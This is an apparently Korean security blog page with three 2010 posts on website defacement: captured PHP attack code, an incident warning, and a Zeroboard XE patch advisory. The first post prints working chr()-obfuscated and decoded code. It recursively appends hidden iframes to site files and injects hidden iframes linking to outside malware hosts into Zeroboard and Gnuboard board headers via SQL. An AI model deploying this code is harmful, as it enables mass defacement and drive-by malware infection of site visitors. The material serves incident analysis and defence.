'홈페이지변조'에 해당되는 글 11건

  1. 2010.12.28 Mass SQL Injection Attack Code (PHP, MySQL)
  2. 2010.12.23 홈페이지 변조 악성코드 삽입 (PHP 사용 주의) (1)
  3. 2010.04.19 국내 공개 웹 게시판(제로보드XE) 보안 업데이트 권고
2010. 12. 28. 15:42

Mass SQL Injection Attack Code (PHP, MySQL)

* 홈페이지 변조 및 Mass SQL Injection을 통해 대량 악성코드 유포 발생
- 최근 공격 코드 유형 파악해서 차단이나 알람 대응 필요

# 홈페이지 변조 코드

function gmfun($path){$daima=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).
chr(61).chr(38).chr(35).chr(120).chr(54).chr(56).chr(59).chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).
chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).chr(38).chr(35).chr(120).chr(55).chr(48).chr(59).chr(38).
chr(35).chr(120).chr(51).chr(65).chr(59).chr(38).chr(35).chr(120).chr(50).chr(70).chr(59).chr(38).chr(35).
chr(120).chr(50).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(49).chr(59).chr(38).chr(35).chr(120).
chr(55).chr(48).chr(59).chr(38).chr(35).chr(120).chr(55).chr(48).chr(59).chr(38).chr(35).chr(120).chr(54).
chr(67).chr(59).chr(38).chr(35).chr(120).chr(54).chr(53).chr(59).chr(38).chr(35).chr(120).chr(50).chr(69).
chr(59).chr(38).chr(35).chr(120).chr(54).chr(51).chr(59).chr(38).chr(35).chr(120).chr(54).chr(56).chr(59).
chr(38).chr(35).chr(120).chr(54).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(38).
chr(35).chr(120).chr(50).chr(69).chr(59).chr(38).chr(35).chr(120).chr(54).chr(51).chr(59).chr(38).chr(35).
chr(120).chr(54).chr(70).chr(59).chr(38).chr(35).chr(120).chr(54).chr(68).chr(59).chr(38).chr(35).chr(120).
chr(50).chr(70).chr(59).chr(38).chr(35).chr(120).chr(55).chr(56).chr(59).chr(38).chr(35).chr(120).chr(54).
chr(68).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(38).chr(35).chr(120).chr(50).chr(70).
chr(59).chr(38).chr(35).chr(120).chr(54).chr(57).chr(59).chr(38).chr(35).chr(120).chr(54).chr(69).chr(59).
chr(38).chr(35).chr(120).chr(54).chr(52).chr(59).chr(38).chr(35).chr(120).chr(54).chr(53).chr(59).chr(38).
chr(35).chr(120).chr(55).chr(56).chr(59).chr(38).chr(35).chr(120).chr(50).chr(69).chr(59).chr(38).chr(35).
chr(120).chr(54).chr(56).chr(59).chr(38).chr(35).chr(120).chr(55).chr(52).chr(59).chr(38).chr(35).chr(120).
chr(54).chr(68).chr(59).chr(38).chr(35).chr(120).chr(54).chr(67).chr(59).chr(32).chr(119).chr(105).chr(100).
chr(116).chr(104).chr(61).chr(50).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).chr(116).chr(61).
chr(50).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(62);$key=chr(105).
chr(110).chr(100).chr(101).chr(120).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(99).chr(111).
chr(110).chr(102).chr(105).chr(103).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(100).chr(101).
chr(102).chr(97).chr(117).chr(108).chr(116).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(109).
chr(97).chr(105).chr(110).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(105).chr(110).chr(100).
chr(101).chr(120).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(100).chr(101).chr(102).
chr(97).chr(117).chr(108).chr(116).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(109).
chr(97).chr(105).chr(110).chr(92).chr(46).chr(104).chr(116).chr(109).chr(108).chr(124).chr(122).chr(98).
chr(111).chr(97).chr(114).chr(100).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(108).chr(105).
chr(98).chr(92).chr(46).chr(112).chr(104).chr(112).chr(124).chr(104).chr(111).chr(109).chr(101).chr(92).
chr(46).chr(112).chr(104).chr(112);$d = @dir($path);while(false !== ($v = $d->read())) {if($v == chr(46) || $v == chr(46).chr(46)) continue;$file = $d->path.chr(47).$v;if(@is_dir($file)) {gmfun($file);} else {if(@ereg(stripslashes($key),$file)) {$mm=stripcslashes( trim( $daima ) );$handle = @fopen ($file, chr(97));@fwrite($handle, $mm);@fclose($handle);echo $file.chr(60).chr(98).chr(114).chr(62);}}}$d->close();}set_time_limit(0);gmfun($_SERVER[DOCUMENT_ROOT]);

# Mass SQL Injection (제로보드)

include chr(46).chr(46).chr(47).chr(108).chr(105).chr(98).chr(46).chr(112).chr(104).chr(112);$connect=
dbconn();$Code=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).
chr(99).chr(61).chr(34).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(104).chr(46).
chr(110).chr(101).chr(120).chr(112).chr(114).chr(105).chr(99).chr(101).chr(46).chr(99).chr(111).chr(109).
chr(47).chr(99).chr(115).chr(115).chr(47).chr(120).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).
chr(119).chr(105).chr(100).chr(116).chr(104).chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).
chr(104).chr(116).chr(61).chr(48).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).
chr(101).chr(62);$a=chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$group_table.chr(32).
chr(115).chr(101).chr(116).chr(32).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(61).chr(67).
chr(79).chr(78).chr(67).chr(65).chr(84).chr(40).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(44).
chr(39).$Code.chr(39).chr(41);mysql_query($a);@mysql_close($connect);
# 정상코드
include '../lib.php';
$connect=dbconn();
$Code='<iframe src="http://h.nexprice.com/css/x.htm" width=0 height=0></iframe>';
$a='update $group_table set header=CONCAT(header,$Code);
mysql_query($a);
@mysql_close($connect);

# Mass SQL Injection (제로보드2)

include chr(46).chr(46).chr(47).chr(108).chr(105).chr(98).chr(46).chr(112).chr(104).chr(112);$connect=
dbconn();$result = mysql_query(chr(115).chr(101).chr(108).chr(101).chr(99).chr(116).chr(32).chr(110).
chr(97).chr(109).chr(101).chr(44).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(32).chr(102).
chr(114).chr(111).chr(109).chr(32).$group_table);while ($qing = mysql_fetch_array($result, MYSQL_NUM
)){$daima=chr(60).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).
chr(61).chr(34).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(104).chr(46).chr(110).
chr(101).chr(120).chr(112).chr(114).chr(105).chr(99).chr(101).chr(46).chr(99).chr(111).chr(109).chr(47).
chr(99).chr(115).chr(115).chr(47).chr(120).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).chr(119).
chr(105).chr(100).chr(116).chr(104).chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).
chr(116).chr(61).chr(48).chr(62).chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).
chr(62);$mm=stripcslashes( trim( $daima) );$kong;$oldheader = str_replace($mm,$kong,$qing[1]);$a=
chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$group_table.chr(32).chr(115).chr(101).
chr(116).chr(32).chr(104).chr(101).chr(97).chr(100).chr(101).chr(114).chr(32).chr(61).chr(32).chr(39).
$oldheader.chr(39).chr(32).chr(119).chr(104).chr(101).chr(114).chr(101).chr(32).chr(110).chr(97).chr(109).
chr(101).chr(61).chr(39).$qing[0].chr(39);mysql_query($a);}@mysql_close($connect);
# 정상코드
include '../lib.php';
$connect=dbconn();
$result = mysql_query('select name,header from $group_table');
while ($qing = mysql_fetch_array($result, MYSQL_NUM))
{
$daima='<iframe src="http://h.nexprice.com/css/x.htm" width=0 height=0></iframe>';
$mm=stripcslashes( trim( $daima) );
$kong;
$oldheader = str_replace($mm,$kong,$qing[1]);
$a="update $group_table set header = '$oldheader' where name='$qing[0]'";
mysql_query($a);
}
@mysql_close($connect);

# Mass SQL Injection (그누보드)

$g4_path=chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47);include chr(46).chr(46).
chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(99).chr(111).chr(109).chr(109).chr(111).chr(110).
chr(46).chr(112).chr(104).chr(112);$result = mysql_query(chr(115).chr(101).chr(108).chr(101).chr(99).
chr(116).chr(32).chr(98).chr(111).chr(95).chr(116).chr(97).chr(98).chr(108).chr(101).chr(44).chr(98).
chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(95).chr(104).chr(101).
chr(97).chr(100).chr(32).chr(102).chr(114).chr(111).chr(109).chr(32).$g4[board_table]);$daima=chr(60).
chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(32).chr(115).chr(114).chr(99).chr(61).chr(34).
chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(119).chr(119).chr(119).chr(46).chr(114).
chr(111).chr(53).chr(50).chr(49).chr(46).chr(99).chr(111).chr(109).chr(47).chr(116).chr(101).chr(115).
chr(116).chr(46).chr(104).chr(116).chr(109).chr(34).chr(32).chr(119).chr(105).chr(100).chr(116).chr(104).
chr(61).chr(48).chr(32).chr(104).chr(101).chr(105).chr(103).chr(104).chr(116).chr(61).chr(48).chr(62).
chr(60).chr(47).chr(105).chr(102).chr(114).chr(97).chr(109).chr(101).chr(62);$daima=stripcslashes(trim(
$daima));while ($qing = mysql_fetch_array($result, MYSQL_NUM)){if(strpos($qing[1],$daima)>0){    }
else{mysql_query(chr(117).chr(112).chr(100).chr(97).chr(116).chr(101).chr(32).$g4[board_table].chr(32).
chr(115).chr(101).chr(116).chr(32).chr(98).chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).
chr(110).chr(116).chr(95).chr(104).chr(101).chr(97).chr(100).chr(61).chr(67).chr(79).chr(78).chr(67).chr(65).
chr(84).chr(40).chr(98).chr(111).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).
chr(95).chr(104).chr(101).chr(97).chr(100).chr(44).chr(39).chr(32).$daima.chr(39).chr(41).chr(32).chr(119).
chr(104).chr(101).chr(114).chr(101).chr(32).chr(98).chr(111).chr(95).chr(116).chr(97).chr(98).chr(108).
chr(101).chr(61).chr(39).$qing[0].chr(39));}}@mysql_close($connect);
# 정상코드
$g4_path='../../../';
include '../../../common.php';
$result = mysql_query('select bo_table,bo_content_head from $g4[board_table]');
$daima='<iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>';
$daima=stripcslashes(trim($daima));
while ($qing = mysql_fetch_array($result, MYSQL_NUM))
{
if(strpos($qing[1],$daima)>0){    }
else
{
mysql_query(update $g4[board_table] set bo_content_head=CONCAT(bo_content_head, $daima) where o_table='$qing[0]');
}
}
@mysql_close($connect);

Trackback 0 Comment 0
2010. 12. 23. 22:13

홈페이지 변조 악성코드 삽입 (PHP 사용 주의)

최근에 발생되는 홈페이지 변조를 통해 악성코드를 삽입하여 유포되는 해킹사고가 있었으며
현재도 계속 진행중에 있습니다.

제로보드와 몇 사이트에서 관련 정보가 점차 오픈되면서 분석 내용과 조치 사항이 나오고 있는데
문제는 제로보드의 취약점만으로 본다는 것입니다.

현재는 공개된 PHP 웹솔루션 중 많이 알려진 제로보드를 통해 발생하고 있지만
이번에 확인된 문제는 특정 솔루션(제로보드)만의 문제가 아닐 수 있습니다.
이는 PHP 권고 방식을 사용하지 않을 경우 문제가 발생될 수 있어 위험한 수준에 있습니다.

단, 몇일전 포스팅한 PHP 안전한 환경에 언급한 옵션인 상태라면
현재로선 이번 사고에 대해서는 안전할 수 있을 것 같습니다.
PHP 안전한 환경 (공개용 PHP 솔루션 사용시 주의사항)http://blog.pages.kr/920

아래는 지난주 제로보드를 통해 발생한 사고에 대해 분석한 결과이며
공개용 PHP 솔루션에서 동일한 문제가 발생할 수 있기 때문에 일부 내용을 제외되었습니다.
또한, 조치사항을 직접적으로 제시할 경우 PHP 문제점을 노출하게 되므로 포함되지 않았습니다.

위 PHP 안전한 환경이 아닌 곳에서는 주의를 기울여야 하며,
아래 분석 결과를 참고하셔서 문제를 최소화 하기 위해 조치를 취하시길 바랍니다.

이번 문제점을 통해 초기에 발생했던 해킹 유형에서 변종이 발생되고 있습니다.
시급한 대처가 필요하며, 대량 악성코드 유포에 사용될 유려가 굉장합니다. 현재도 그런 상태입니다.



Trackback 0 Comment 1
  1. 2010.12.26 13:53 address edit & del reply

    비밀댓글입니다

2010. 4. 19. 23:37

국내 공개 웹 게시판(제로보드XE) 보안 업데이트 권고

□ 개요
  o 최근 국내 PHP 기반의 공개 웹 게시판 제로보드 XE에 대한 XSS 및 CSRF 관련 보안 취약점이
     발견됨[1].
  o 해당 취약점을 이용한 홈페이지 변조 및 원격 실행 위협이 발생함에 따라, 사용자의 주의 및
     조속한 패치가 필요함

□ 영향
  o 원격의 사용자가 제로보드 XE 관리자 권한 획득가능
  o 획득한 관리자 권한을 이용하여 시스템 내의 임의의 파일 읽기, PHP 명령실행 등이 가능하며,
     이를 이용한 웹 변조, 원격 실행 등이 발생할 수 있음

□ 해당시스템
  o 제로보드 XE 1.4.0.10 이하 버전

□ 해결방안
  o 업데이트된 파일만 적용하는 경우,
    - 공식사이트(www.xpressengine.com)에 취약점이 패치된 xe.1.4.0.11.changed.tgz 를 다운로드
       받아 압축을 해제하여 config.inc.php 파일과 func.inc.php 파일을 운영중인 XE의
      “./config” 디렉토리에 설치
    - communication.controller.php 파일은 운영 중인 XE의 “./modules/communication”
       디렉토리에 설치

  o 업데이트가 적용된 상위 버젼으로 업그레이드하는 경우,
    - 공식사이트(www.xpressengine.com)에 취약점이 패치된 xe.1.4.0.11.zip 파일을 다운로드
       받아 기존에 XE를 운영중인 디렉토리에 설치
     ※ 처음 사용하는 사용자일 경우, “Xpress Engine 사용자 안내서”[3]를 참고하여 설치할
         것을 권고

□ 사용자 주의사항
   o 사용자들은 제로보드 XE의 공식 공지사항[2]을 주기적으로 확인하여 신규 취약점에 대한
      정보를 숙지하고 이에 따른 조치를 취해야함

□ 용어 정리
   o 제로보드(ZeroBoard) XE: PHP 언어로 작성된 홈페이지용 게시판 소프트웨어 또는 프레임워크
   o XSS(Cross Site Scripting) 취약점 : 웹사이트 관리자가 아닌 이가 웹 페이지에 클라이언트
      사이드 스크립트를 삽입하여 다른 사용자가 이를 실행하게끔 허용하는 취약점
   o CSRF(Cross-Site Request Forgery) 취약점 : 취약한 웹페이지를 이용하여 권한을 도용하는
      가짜 요청문을 클라이언트의 웹브라우저상에서 실행되도록 유도하는 취약점
   o PHP: 동적인 웹사이트를 위한 서버 측 스크립트 언어

□ 기타 문의사항
   o 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118

[참고사이트]
      [1] http://www.xpressengine.com/18838863
      [2] http://www.xpressengine.com/notice
      [3] http://xe.xpressengine.net/wiki/18241550


Trackback 3 Comment 0